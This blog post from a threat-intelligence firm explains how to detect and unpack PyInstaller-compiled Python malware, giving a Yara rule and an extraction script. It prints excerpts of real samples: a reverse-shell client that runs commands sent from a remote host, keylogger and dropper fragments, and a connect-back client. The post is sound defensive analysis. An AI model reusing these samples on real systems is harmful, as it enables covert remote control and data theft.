November 19, 2015
-
Nicholas Albright
,

Crushing Python Malware

<p>Python is a popular choice for aspiring coders and is equally popular with more advanced individuals as well. However, unlike compiled languages, Python scripts must be accompanied by an interpreter; or they will be useless. These interpreters are generally available on Linux and OSX Machines by default, but Windows still does not have an embedded interpreter, forcing users to download one from Python.org or Active State (to name a few) before running the code. Even when the interpreters are present on the system, external libraries may be missing and its difficult to make sure applications are truely capable.</p> <p>A handful of packages have been created that bundle Python code with an interpreter and all libraries needed to run the code, essentially making Python scripts stand alone binaries that can be distributed to others with ease. PyInstaller and Py2Exe are two of the most widely adopted 'packagers' for Python and when properly utilized can port Python code into stand alone executables for Windows, OSX or Linux machines. PyInstaller is my tool of choice, it has served me well and the executables are generally manageable in size. Keeping in mind it wraps all libraries, scripts and the Python Interpreter into one package, the files generally are between 3meg and 8meg total - significantly larger than a standard C compiled binary but still not unmanagable.</p> <p>Unfortunately, these packers are also a favorite of some malware authors. After reading a paper on Malware Evasion techniques, I took a hard look at some of the tools available at my disposal. My last C class was 15 years ago, and I'd be lucky to compile anything more than a 'Hello World' application now. I didn't want to spend a lot of time to learning a new language, so I fell back on PyInstaller to help me build some AV Evasion test cases.    The evasion stuff worked better than I expected - without any obfuscation I was able to bypass a majority of the AV checks and launch standard metasploit payloads in memory.</p> <p>In all of my local tests, I never had an AV engine trip on any of my malicious binaries. The binaries created backdoors, deployed metasploit paylods,created files that appeared to be malicious and acted as droppers for more advanced malware. Due to the surprising success, I went to work generating a very generic Yara Signature to identify possible PyInstaller compiled binaries.</p> <p>rule PyInstaller_Binary<br/>   {<br/> meta:<br/>     author = "Nicholas Albright, ThreatStream"<br/>     desc = "Generic rule to identify PyInstaller Compiled Binaries"<br/> strings:<br/>     $string0 = "zout00-PYZ.pyz"<br/>     $string1 = "python"<br/>     $string2 = "Python DLL"<br/>     $string3 = "Py_OptimizeFlag"<br/>     $string4 = "pyi_carchive"<br/>     $string5 = ".manifest"<br/> condition:<br/>     all of them // and new_file<br/> }</p> <p>My goal was to monitor Virustotal for malware that may hit using this technique. More surprising results, dozens of letigitmate binaries each day, from basic video games to text processing tools, a web scraper and a database<br/> interaction tool the binaries I received showed how popular the language really is. It was so many, in fact, that I couldn't possibly sandbox/analyze each and everyone. Luckliy, I knew about a tool called PyInstaller-Extractor, from extremecoders. I'd seen this tool demoed at a security conference and played around with it on some of my own binaries. It works great. My only dislike is that it extracts everything, including modules and the python executables. Sometimes you need to go through another step to actually decompile bytecode. In short, its a great POC, but its messy, and when I'm performing analysis on hundreds of binaries, I want to be a bit more effecient.<br/> I started poking around the PyInstaller install directory and noted a file, pyi-archive_viewer.py. The name sounded promising, so I tried it against a file that matched my Yara signature:</p> <p>$ pyi-archive_viewer eb17003d98e2cfa3843f24dde7a81d9a<br/>  pos, length, uncompressed, iscompressed, type, name<br/> [(0, 1188261, 1188261, 0, 'z', 'out00-PYZ.pyz'),<br/>   (1188261, 170, 234, 1, 'm', 'struct'),<br/>   (1188431, 1125, 2459, 1, 'm', 'pyi_os_path'),<br/>   (1189556, 4916, 12555, 1, 'm', 'pyi_archive'),<br/>   (1194472, 4043, 13091, 1, 'm', 'pyi_importers'),<br/>   (1198515, 1800, 4228, 1, 's', '_pyi_bootstrap'),<br/>   (1200315, 4370, 13999, 1, 's', 'pyi_carchive'),<br/>   (1204685, 1975, 5591, 1, 's', 'EcdsaBinSign'),<br/>   (1206660, 602, 1857, 1, 'b', 'microsoft.vc90.crt.manifest'),<br/>   (1207262, 317595, 655872, 1, 'b', 'msvcr90.dll'),<br/>   (1524857, 155722, 568832, 1, 'b', 'msvcp90.dll'),<br/>   (1680579, 66835, 224768, 1, 'b', 'msvcm90.dll'),<br/>   (1747414, 1138352, 2459136, 1, 'b', 'python27.dll'),<br/>   (2885766, 5410, 10240, 1, 'b', 'select.pyd'),<br/>   (2891176, 257284, 686080, 1, 'b', 'unicodedata.pyd'),<br/>   (3148460, 381446, 774656, 1, 'b', '_hashlib.pyd'),<br/>   (3529906, 34819, 68608, 1, 'b', 'bz2.pyd'),<br/>   (3564725, 590119, 1201152, 1, 'b', '_ssl.pyd'),<br/>   (4154844, 21412, 46080, 1, 'b', '_socket.pyd'),<br/>   (4176256, 6531, 20956, 1, 'x', 'include\\pyconfig.h'),<br/>   (4182787, 269, 479, 1, 'b', 'ecdsabinsign.exe.manifest')]<br/> ?</p> <p><br/> After a bit of fumbling, i found that ? provides more help, and 's' stands for script...<br/>  </p> <p>? ?<br/> U: go Up one level<br/> O <nm>: open embedded archive nm<br/> X <nm>: extract nm<br/> Q: quit<br/> ? X EcdsaBinSign<br/> to filename? /tmp/test-malware.py<br/> ? q</nm></nm></p> <p><br/> Then looking at the generated file:</p> <p><br/> $ head /tmp/test-malware.py<br/> # Key Gen for NIST224<br/> import argparse<br/> from ecdsa import SigningKey, NIST224p<br/> import hashlib<br/> import ecdsa<br/> import binascii<br/> # Creaet own curves<br/> from ecdsa.curves import Curve<br/> from ecdsa import *</p> <p><br/> Success!!! I was able to extract ONLY the script I wanted. An hour or so later, I created a wrapper around this script that will handle all of the parsing for me, giving me paged output of the actual important python code. The code is just a POC, but it might help triage binaries within your own environment. Below are some examples (malicious links defanged before posting):</p> <p>One AV Detection (Virustotal)</p> <p>$ pyi-deflate.py 4fdf450bf59c79fa3c741e142a61e9e2<br/> # Script: client (Likely Malicious)<br/>     #!/usr/bin/python<br/>     import subprocess,socket<br/>     HOST = '24[.]171[.]140[.]173'<br/>     PORT = 4000<br/>     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br/>     s.connect((HOST, PORT))<br/>     s.send(b'Zombie Alive!')<br/>     while 1:<br/>         data = s.recv(1024)<br/>         if data == b'quit': break<br/>         proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)<br/>         stdoutput = proc.stdout.read() + proc.stderr.read()<br/>         s.send(stdoutput)<br/> # loop ends here<br/> s.send(b'Zombie Dead')<br/> s.close()</p> <p>One AV Detection (Virustotal)</p> <p>$ pyi-deflate.py 42c52ba89d229d0edff0a39d687f6742<br/> # Script: keyLogger (Likely Malicious)</p> <p>    import pythoncom, pyHook<br/>     import os<br/>     import sqlite3<br/>     import win32crypt<br/>     import sys<br/>     import threading<br/>     import urllib,urllib2<br/>     import smtplib<br/>     import ftplib<br/>     import datetime,time<br/>     import win32event, win32api, winerror<br/>     import getpass<br/>     import requests</p> <p>userName = getpass.getuser()<br/> url = 'http://www[.]olacabsucks[.]in/upload.php'<br/> dirPath = os.path.dirname(os.path.abspath(__file__))</p> <p>    #Disallowing Multiple Instance<br/>     mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')<br/>     if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:<br/>         mutex = None<br/>         print "Multiple Instance not Allowed"<br/>         exit(0)<br/>     x=''<br/>     data=''<br/>     counter=1</p> <p>(cut)</p> <p><br/> One AV detection (Virustotal)</p> <p><br/> pyi-deflate.py 5c0d6ddba42309522922e00f8019c9fd<br/> # Script: packer (Malicious)<br/>     from _winreg import *<br/>     import os<br/>     import getpass<br/>     import ctypes</p> <p>    FILE_ATTRIBUTE_HIDDEN = 0x02</p> <p>    userName = getpass.getuser()<br/>     dirPath = "C:\\ProgramData\\xwin"<br/>     exeName = "wfrcen.exe"</p> <p>    installerPath = os.path.dirname(os.path.abspath(__file__))</p> <p>    ''' check if installation exists '''<br/>     if (os.path.isdir(dirPath) and os.path.exists(dirPath+ "/" + exeName)) :<br/>           print ""<br/>     else:<br/>           os.makedirs(dirPath)<br/>           ''' copy the exe '''<br/>           readFile = open(installerPath + '\deps\lib\winset.exe','rb')<br/>           printFileText = readFile.read()<br/>           outFile = open( dirPath + '/' + exeName , 'wb')<br/>           outFile.write(printFileText)<br/>           readFile.close()<br/>           outFile.close()</p> <p>          '''hide the folder and file'''</p> <p>          ctypes.windll.kernel32.SetFileAttributesW(ur'C:\\ProgramData\\xwin', FILE_ATTRIBUTE_HIDDEN)<br/>           ctypes.windll.kernel32.SetFileAttributesW(ur'C:\\ProgramData\\xwin\\wfrcen.exe', FILE_ATTRIBUTE_HIDDEN)<br/> (cut)</p> <p>Four AV Detections (Virustotal):</p> <p>    $ pyi-deflate.py c3c742450f4388bdcbacfc7d6598d02a<br/>     # Script: windows_amit_bhai (Malicious)<br/>           #############<br/>           #Disc : I am not responsible for negative use of the program.<br/>           #Use It Wisely<br/>           #############</p> <p>(...cut...)</p> <p>import socket<br/>           while 1:<br/>             try:</p> <p>                HOST = '168[.]144[.]144[.]44'<br/>                 PORT = 8082 # Arbitrary non-privileged port<br/>                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br/>                 s.connect((HOST,PORT))<br/>                 break<br/>         except:<br/>                 time.sleep(10)</p> <p>    s.send('Client Connected From: ' + ip + ' Country: ' + country + ' Mac:' + str(mac))</p> <p>    data = s.recv(1024)</p> <p>By Successfully extracting only the relevant parts of the code, I could focus my efforts on the next phase of this project - extraction of observables and trying to understand the adversaries using these techniques. There were many more malicious scripts identified. Of all samples, the single highest count of vendors reported maliciousness on Virustotal was 6 detections. None of them were what I'd call enterprise grade AV Solutions and they all missed files obfuscated with pyobfuscate.</p> <p>It became immediately obvious that code reuse is as popular with Python as any other language. Most of the code blocks were found on forums or Stack Overflow. Everything protected with Pyobfuscate used ctypes to inject known metasploit payloads. I can only state the obvious - they were all quite litterally, script kiddies. Their methods were successful, however.</p> <p>After pulling down a couple hundred different binaries, I found about 40% failures using my original wrapper script. Closer analysis around the PYZ header shows that the usual zlib header of \x78\x9c was modified, as were other magic numbers. I found about 9 out of 10 of the 40% that failed were easily extracted by reconstructing the correct zlib header and manually carving out the Python scripts.</p> <p>We are sharing the script as <a href="https://github.com/threatstream/labs-tools/blob/master/pyi-deflate.py">https://github.com/threatstream/labs-tools/blob/master/pyi-deflate.py</a>.</p> <p>Note: For py2exe packaged binaries, unpy2exe and uncompyle2 combined are equally as successful</p>

Get the Latest Anomali Updates and Cybersecurity News – Straight To Your Inbox

Become a subscriber to the Anomali Newsletter
Receive a monthly summary of our latest threat intelligence content, research, news, events, and more.